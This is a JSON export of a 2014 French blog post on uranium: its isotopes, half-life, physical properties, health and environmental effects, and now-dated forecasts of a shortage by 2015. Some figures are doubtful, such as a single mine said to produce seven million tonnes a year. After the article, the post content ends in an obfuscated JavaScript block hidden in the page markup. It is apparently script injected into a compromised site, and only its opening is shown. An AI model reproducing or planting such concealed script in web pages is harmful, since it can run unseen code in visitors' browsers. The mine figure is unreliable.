{"id":566,"date":"2014-04-22T21:39:31","date_gmt":"2014-04-22T18:39:31","guid":{"rendered":"http:\/\/www.energy-sciences.org\/energy\/2014\/04\/22\/generalites-sur-l-uranium\/"},"modified":"2014-04-22T21:39:31","modified_gmt":"2014-04-22T18:39:31","slug":"generalites-sur-l-uranium","status":"publish","type":"post","link":"https:\/\/www.energy-sciences.org\/sciences\/generalites-sur-l-uranium\/","title":{"rendered":"G\u00e9n\u00e9ralit\u00e9s sur l&rsquo;uranium"},"content":{"rendered":"<p class=\"bodytext\" style=\"text-align: justify;\"><strong>L\u2019<span class=\"definition glossaire xt-\u00adclick\">uranium<\/span> est un \u00e9l\u00e9ment naturel, blanc argent\u00e9, brillant, dense et faiblement radioactif.<\/strong><strong> Il est omnipr\u00e9sent dans la nature et on le trouve en quantit\u00e9s variables mais faibles dans les roches, le sol, l\u2019eau, l\u2019<span class=\"definition glossaire xt-\u00adclick\">air<\/span>, les plantes, les animaux et les \u00eatres humains.<\/strong><\/p>\n<p class=\"bodytext\" style=\"text-align: justify;\">L&rsquo;uranium (U) est l&rsquo;\u00e9l\u00e9ment le plus lourd qu&rsquo;on trouve dans la nature, jamais \u00e0 l&rsquo;\u00e9tat m\u00e9tallique, toujours combin\u00e9 \u00e0 l&rsquo;oxyg\u00e8ne, sous forme d\u2019oxydes ou de <span class=\"definition glossaire xt-\u00adclick\">silicates<\/span>. Il est moins abondant que le cuivre, le nickel ou le zinc, mais il est 500 fois plus abondant que l&rsquo;or, plus abondant aussi que l&rsquo;argent, le cadmium ou le <span class=\"definition glossaire xt-\u00adclick\">mercure<\/span>. L\u2019uranium naturel se compose de trois <span class=\"definition glossaire xt-\u00adclick\">isotopes<\/span> radioactifs :<\/p>\n<ul>\n<li><sup>238<\/sup>U (99,27 % de la masse totale) ;<\/li>\n<li><sup>235<\/sup>U (0,72 %) ;<\/li>\n<li><sup>234<\/sup>U (0,0054 %).<\/li>\n<\/ul>\n<p class=\"fs-media\" style=\"text-align: center;\"><img fetchpriority=\"high\" decoding=\"async\" class=\" fs-txdam-50062762 diaporama-trigger\" src=\"http:\/\/fr.cdn.v5.futura-sciences.com\/sources\/images\/dossier\/rte\/magic\/4301_uranium_021.jpg\" border=\"0\" alt=\"Un \u00e9chantillon de roche contenant de l\u2019uranium.\" title=\"Un \u00e9chantillon de roche contenant de l\u2019uranium.\" width=\"360\" height=\"242\" style=\"display: block; margin-left: auto; margin-right: auto;\" data-htmlarea-clickenlarge=\"1\" \/><br \/>Un \u00e9chantillon de roche contenant de l\u2019uranium. \u00a9 DR<\/p>\n<p class=\"bodytext\" style=\"text-align: justify;\">Cet \u00e9l\u00e9ment a \u00e9t\u00e9 d\u00e9couvert en 1789 par le chimiste allemand Martin Klaproth. Il doit son nom \u00e0 la plan\u00e8te <span class=\"definition glossaire xt-\u00adclick\">Uranus<\/span>. Pendant plus d&rsquo;un si\u00e8cle, l&rsquo;uranium ne fut qu&rsquo;une curiosit\u00e9. On s&rsquo;en servait pour fabriquer un verre de <span class=\"definition glossaire xt-\u00adclick\">couleur<\/span> verte, mais ses <span class=\"definition glossaire xt-\u00adclick\">applications<\/span> restaient peu nombreuses : un r\u00e9sidu des mines de pechblende telle celle de Gilbert Labine au Grand lac de l&rsquo;Ours, Canada, dans les ann\u00e9es 1930. La pechblende \u00e9tait exploit\u00e9e parce qu&rsquo;elle contenait du radium, \u00e9l\u00e9ment qui int\u00e9ressait les chercheurs intrigu\u00e9s par la <span class=\"definition glossaire xt-\u00adclick\">radioactivit\u00e9<\/span>.<\/p>\n<h2><strong>Qu&rsquo;est-ce que la demi-vie d&rsquo;un \u00e9l\u00e9ment radioactif ?<\/strong><\/h2>\n<p class=\"bodytext\" style=\"text-align: justify;\">La <span class=\"definition glossaire xt-\u00adclick\">demi-vie<\/span> d&rsquo;un \u00e9l\u00e9ment radioactif est le temps pour que la moiti\u00e9 de ses noyaux se d\u00e9sint\u00e8grent. Par exemple, la demi-vie du radium 226 est de 1.600 ans : en 1.600 ans, un gramme de radium 226 va se transformer en un demi-gramme de radium 226 et en un demi-gramme de quelque chose d&rsquo;autre. Une quantit\u00e9 de n&rsquo;importe quel \u00e9l\u00e9ment radioactif diminue d&rsquo;un facteur 1.000 en l&rsquo;espace de dix demi-vies. Par cons\u00e9quent, en 16.000 ans, un gramme de radium 226 se d\u00e9composera en un milligramme de radium 226 et en 999 milligrammes d&rsquo;autres produits.<\/p>\n<p class=\"fs-media\" style=\"text-align: center;\"><img decoding=\"async\" class=\" fs-txdam-50062763 diaporama-trigger\" src=\"http:\/\/fr.cdn.v5.futura-sciences.com\/sources\/images\/dossier\/rte\/magic\/4301_uranium_022.jpg\" border=\"0\" alt=\"La fission d\u2019un atome d\u2019uranium donne naissance \u00e0 des produits de fissions et \u00e0 des neutrons libres.\" title=\"La fission d\u2019un atome d\u2019uranium donne naissance \u00e0 des produits de fissions et \u00e0 des neutrons libres.\" width=\"300\" height=\"261\" style=\"display: block; margin-left: auto; margin-right: auto;\" data-htmlarea-clickenlarge=\"1\" \/><br \/>La fission d\u2019un atome d\u2019uranium donne naissance \u00e0 des produits de fissions et \u00e0 des neutrons libres. \u00a9 DR<\/p>\n<p class=\"bodytext\">Il y a en moyenne dans l\u2019organisme humain approximativement 90 \u00b5g d\u2019uranium qui proviennent de l\u2019air, de l\u2019eau et des aliments absorb\u00e9s :<\/p>\n<ul>\n<li>66 % se trouvent dans le squelette ;\u00a0<\/li>\n<li>16 % dans le <span class=\"definition glossaire xt-\u00adclick\">foie<\/span> ;<\/li>\n<li>8 % dans les <span class=\"definition glossaire xt-\u00adclick\">reins<\/span> ;\u00a0<\/li>\n<li>10 % dans les autres tissus.<\/li>\n<\/ul>\n<p class=\"bodytext\" style=\"text-align: justify;\">L\u2019uranium est utilis\u00e9 principalement dans les <span class=\"definition glossaire xt-\u00adclick\">centrales nucl\u00e9aires<\/span>. N\u00e9anmoins, la plupart des r\u00e9acteurs fonctionnent \u00e0 l\u2019uranium enrichi en <sup>235<\/sup>U (1,5 \u00e0 3 % environ au lieu de 0,72 % normalement).<\/p>\n<p class=\"fs-media\" style=\"text-align: center;\"><img decoding=\"async\" class=\" fs-txdam-50089695 diaporama-trigger\" src=\"http:\/\/fr.cdn.v5.futura-sciences.com\/builds\/images\/rte\/RTEmagicC_uranium_023b.jpg\" border=\"0\" alt=\"Cha\u00eene de d\u00e9sint\u00e9gration de l\u2019uranium.\" title=\"Cha\u00eene de d\u00e9sint\u00e9gration de l\u2019uranium.\" width=\"316\" height=\"350\" style=\"display: block; margin-left: auto; margin-right: auto;\" data-htmlarea-clickenlarge=\"1\" \/><br \/>Cha\u00eene de d\u00e9sint\u00e9gration de l\u2019uranium. \u00a9 DR<\/p>\n<h2><strong>Quelques informations sur l\u2019uranium<\/strong><\/h2>\n<ul>\n<li><span class=\"definition glossaire xt-\u00adclick\">Num\u00e9ro atomique<\/span> : 92\u00a0<\/li>\n<li>Masse atomique : 238,03 u\u00a0<\/li>\n<li>\u00c9lectron\u00e9gativit\u00e9 de Pauling : 1,38\u00a0<\/li>\n<li><span class=\"definition glossaire xt-\u00adclick\">Masse volumique<\/span> : 19,1 g\/cm<sup>3<\/sup><\/li>\n<li>Temp\u00e9rature de fusion : 1.132 \u00b0C\u00a0<\/li>\n<li>Temp\u00e9rature d&rsquo;\u00e9bullition : 3.818 \u00b0C\u00a0<\/li>\n<li>Rayon atomique (Van der Waals) : 0,121 nm\u00a0<\/li>\n<li>Rayon ionique : 0,103 nm (+3) ; 0,093 nm (+4)\u00a0<\/li>\n<li>Isotopes les plus stables : trois<\/li>\n<li><span class=\"definition glossaire xt-\u00adclick\">Configuration \u00e9lectronique<\/span> : [Rn] 5f<sup>3<\/sup> 6d<sup>1<\/sup> 7s<sup>2<\/sup><\/li>\n<li>Isol\u00e9 pour la premi\u00e8re fois par P\u00e9ligot en 1841<\/li>\n<\/ul>\n<h2><strong>Effets de l&rsquo;uranium sur la sant\u00e9<\/strong><\/h2>\n<p class=\"bodytext\" style=\"text-align: justify;\">On est sans cesse expos\u00e9 \u00e0 une certaine quantit\u00e9 d&rsquo;uranium \u00e0 travers la nourriture, l&rsquo;air, le sol et l&rsquo;eau, \u00e9tant donn\u00e9 qu&rsquo;il y est naturellement pr\u00e9sent. Les concentrations d&rsquo;uranium dans les aliments de la mer sont en g\u00e9n\u00e9ral tellement faibles que l&rsquo;on peut les ignorer sans risque. Ses effets sur la sant\u00e9 ont \u00e9t\u00e9 \u00e9tudi\u00e9s. Les scientifiques n&rsquo;ont pas d\u00e9tect\u00e9 d&rsquo;effet nocif des radiations en pr\u00e9sence d&rsquo;un niveau naturel d&rsquo;uranium. Quand on est expos\u00e9 pendant une longue p\u00e9riode \u00e0 des <span class=\"definition glossaire xt-\u00adclick\">radionucl\u00e9ides<\/span> d&rsquo;uranium, on risque de d\u00e9velopper des probl\u00e8mes r\u00e9naux ou un <span class=\"definition glossaire xt-\u00adclick\">cancer<\/span>. Les risques sont plus \u00e9lev\u00e9s lorsqu&rsquo;on est expos\u00e9 \u00e0 de l&rsquo;uranium enrichi. Cette forme d&rsquo;uranium d\u00e9gage des radiations nocives. L&rsquo;uranium enrichi peut se retrouver dans l&rsquo;environnement lors des accidents dans les centrales nucl\u00e9aires (Tchernobyl). On ne sait pas encore si l&rsquo;uranium a des effets sur la reproduction.<\/p>\n<h2><strong>Effet de l&rsquo;uranium sur l&rsquo;environnement<\/strong><\/h2>\n<p class=\"bodytext\" style=\"text-align: justify;\">L&rsquo;uranium est un <span class=\"definition glossaire xt-\u00adclick\">m\u00e9tal<\/span> radioactif tr\u00e8s <span class=\"definition glossaire xt-\u00adclick\">r\u00e9actif<\/span>, on ne peut le trouver sous sa forme d&rsquo;\u00e9l\u00e9ment. Les compos\u00e9s sont plus ou moins solubles et leur solubilit\u00e9 dans l&rsquo;eau d\u00e9termine leur mobilit\u00e9 dans l&rsquo;environnement :<\/p>\n<ul>\n<li style=\"text-align: justify;\">dans l&rsquo;air, les concentrations sont faibles, principalement des poussi\u00e8res qui retombent dans les eaux ou sur le sol ;<\/li>\n<li style=\"text-align: justify;\">dans l&rsquo;eau, l&rsquo;uranium est dissout et provient des roches et des sols que l&rsquo;eau recouvre. Une partie est en suspension. La quantit\u00e9 d&rsquo;uranium dans l&rsquo;eau potable est tr\u00e8s faible. L&rsquo;uranium n&rsquo;a pas tendance \u00e0 s&rsquo;accumuler dans les <span class=\"definition glossaire xt-\u00adclick\">poissons<\/span> ou les l\u00e9gumes, et l&rsquo;uranium absorb\u00e9 est \u00e9limin\u00e9 dans les urines et les <span class=\"definition glossaire xt-\u00adclick\">f\u00e8ces<\/span> ;<\/li>\n<li style=\"text-align: justify;\">dans le sol, on trouve des concentrations diverses, tr\u00e8s faibles. L&rsquo;Homme en augmente les quantit\u00e9s du fait de ses activit\u00e9s industrielles. L&rsquo;uranium se combine avec d&rsquo;autres compos\u00e9s, et peut rester des ann\u00e9es sans rejoindre les eaux souterraines. Les concentrations en uranium sont souvent plus \u00e9lev\u00e9es dans les sols riches en phosphate.<\/li>\n<\/ul>\n<p class=\"bodytext\" style=\"text-align: justify;\">Les plantes stockent l&rsquo;uranium dans leurs racines. Les l\u00e9gumes racines, tels que les <span class=\"definition glossaire xt-\u00adclick\">radis<\/span>, peuvent donc contenir des concentrations plus \u00e9lev\u00e9es.<\/p>\n<h2><strong>P\u00e9nurie et fin progressive de l&rsquo;uranium<\/strong><\/h2>\n<p class=\"bodytext\" style=\"text-align: justify;\">Les chiffres qui suivent proviennent d\u2019<em>Uranium Resources and Nuclear Energy<\/em> de l\u2019<em>Energy Watch Group<\/em>, et datent de d\u00e9cembre 2006 :<\/p>\n<ul>\n<li>une p\u00e9nurie d&rsquo;uranium se produirait d\u00e8s 2015 ;<\/li>\n<li>la production atteindrait son maximum en 2025 ;<\/li>\n<li>aucune autre technologie nucl\u00e9aire ne sera disponible avant 2040 ;<\/li>\n<li>le prix de l&rsquo;uranium a \u00e9t\u00e9 multipli\u00e9 par dix en quatre ans ;<\/li>\n<li style=\"text-align: justify;\">le co\u00fbt du <span class=\"definition glossaire xt-\u00adclick\">combustible<\/span> prend une importance croissante dans le co\u00fbt de l&rsquo;\u00e9lectricit\u00e9 nucl\u00e9aire ;<\/li>\n<li>l&rsquo;uranium est une ressource limit\u00e9e.<\/li>\n<\/ul>\n<p class=\"fs-media\" style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\" fs-txdam-56688 diaporama-trigger\" src=\"http:\/\/fr.cdn.v5.futura-sciences.com\/builds\/images\/rte\/RTEmagicC_uranium_024b_2.jpg\" border=\"0\" alt=\"Les r\u00e9serves mondiales d\u2019uranium, estim\u00e9es en 1999.\" title=\"Les r\u00e9serves mondiales d\u2019uranium, estim\u00e9es en 1999.\" width=\"450\" height=\"314\" style=\"display: block; margin-left: auto; margin-right: auto;\" data-htmlarea-clickenlarge=\"1\" \/><br \/>Les r\u00e9serves mondiales d\u2019uranium, estim\u00e9es en 1999. \u00a9 DR<\/p>\n<h2><strong>Des r\u00e9serves d&rsquo;uranium limit\u00e9es et al\u00e9atoires<\/strong><\/h2>\n<p class=\"bodytext\" style=\"text-align: justify;\">L&rsquo;Agence pour l&rsquo;\u00e9nergie nucl\u00e9aire (AEN) a publi\u00e9 un \u00e9tat des r\u00e9serves (des ressources certaines) et ressources (suppos\u00e9es) d&rsquo;uranium selon diff\u00e9rents niveaux de co\u00fbt et de certitude en 2006 :<\/p>\n<ul>\n<li>ressources raisonnablement assur\u00e9es (r\u00e9serves) : 3.297 kt ;<\/li>\n<li>ressources suppos\u00e9es : 4.743 kt ;<\/li>\n<li>ressources pronostiqu\u00e9es (probabilit\u00e9 faible) : 7.262 kt.<\/li>\n<\/ul>\n<p class=\"bodytext\" style=\"text-align: justify;\">La France poss\u00e8de bien des r\u00e9serves d&rsquo;uranium, mais les mines sont ferm\u00e9es. Entre 1956 et 2002, 75.000 tonnes d&rsquo;uranium ont \u00e9t\u00e9 produites en France, avec un maximum de 3.400 tonnes en 1989. En 1985, les r\u00e9serves \u00e9taient de 112.000 tonnes.<\/p>\n<h2><strong>Une p\u00e9nurie d&rsquo;uranium en 2015 ?<\/strong><\/h2>\n<p class=\"bodytext\" style=\"text-align: justify;\">La consommation mondiale d&rsquo;uranium est de 67.000 tonnes par an, tandis que la production est de 42.000 tonnes. La diff\u00e9rence provient des stocks civils et militaires, qui seraient \u00e9puis\u00e9s en 2015. Depuis 1989, la consommation est sup\u00e9rieure \u00e0 la production, qui a commenc\u00e9 \u00e0 raugmenter vers 2000, mais pas assez pour atteindre le niveau de la consommation.<\/p>\n<p class=\"bodytext\" style=\"text-align: justify;\">Des <span class=\"definition glossaire xt-\u00adclick\">gisements<\/span> importants sont connus, mais la mise en exploitation prend du retard. Cigar Lake, au Canada, devait produire sept millions de tonnes chaque ann\u00e9e, mais n&rsquo;a pu \u00eatre mise en exploitation en 2007 \u00e0 la suite d&rsquo;<span class=\"definition glossaire xt-\u00adclick\">inondations<\/span> et de probl\u00e8mes techniques. L\u2019ouverture de l\u2019exploitation est annonc\u00e9e pour l\u2019ann\u00e9e 2014. La mine d\u2019uranium Ranger, en Australie, a \u00e9t\u00e9 inond\u00e9e en mars 2007. Elle a produit environ 400 tonnes d\u2019oxyde d\u2019uranium par an depuis.<\/p>\n<p class=\"bodytext\" style=\"text-align: justify;\">Souvent, la prospection ne donne gu\u00e8re de r\u00e9sultats, et la mise en exploitation prend souvent dix ans. La capacit\u00e9 sera insuffisante, sans compter la perte des mines devant fermer.<\/p>\n<p class=\"fs-media\" style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\" fs-txdam-50100464 diaporama-trigger\" src=\"http:\/\/fr.cdn.v5.futura-sciences.com\/sources\/images\/dossier\/rte\/magic\/4301_uranium_025.jpg\" border=\"0\" alt=\"\u00c9volution du prix de l\u2019uranium de 1968 \u00e0 2006 en regard de diff\u00e9rents \u00e9v\u00e9nements, en dollars constants.\" title=\"\u00c9volution du prix de l\u2019uranium de 1968 \u00e0 2006 en regard de diff\u00e9rents \u00e9v\u00e9nements, en dollars constants.\" width=\"450\" height=\"335\" style=\"display: block; margin-left: auto; margin-right: auto;\" data-htmlarea-clickenlarge=\"1\" \/><br \/>\u00c9volution du prix de l\u2019uranium de 1968 \u00e0 2006 en regard de diff\u00e9rents \u00e9v\u00e9nements, en dollars constants. \u00a9 DR<\/p>\n<p class=\"bodytext\" style=\"text-align: justify;\">L&rsquo;augmentation rapide du prix, multipli\u00e9 par dix en quatre ans, montre l&rsquo;existence d&rsquo;un probl\u00e8me de ressources mini\u00e8res. Entre 2003 et 2007, le prix du kilogramme de <em>yellowcake<\/em> est pass\u00e9 de 22 \u00e0 249 dollars.<\/p>\n<p class=\"bodytext\" style=\"text-align: justify;\">Pour aller plus loin, d\u00e9couvrez le fonctionnement sch\u00e9matique d\u2019une centrale. Vous pourrez \u00e9galement d\u00e9couvrir de tr\u00e8s nombreuses autres informations sur l\u2019uranium les diverses rubriques de notre site.<\/p>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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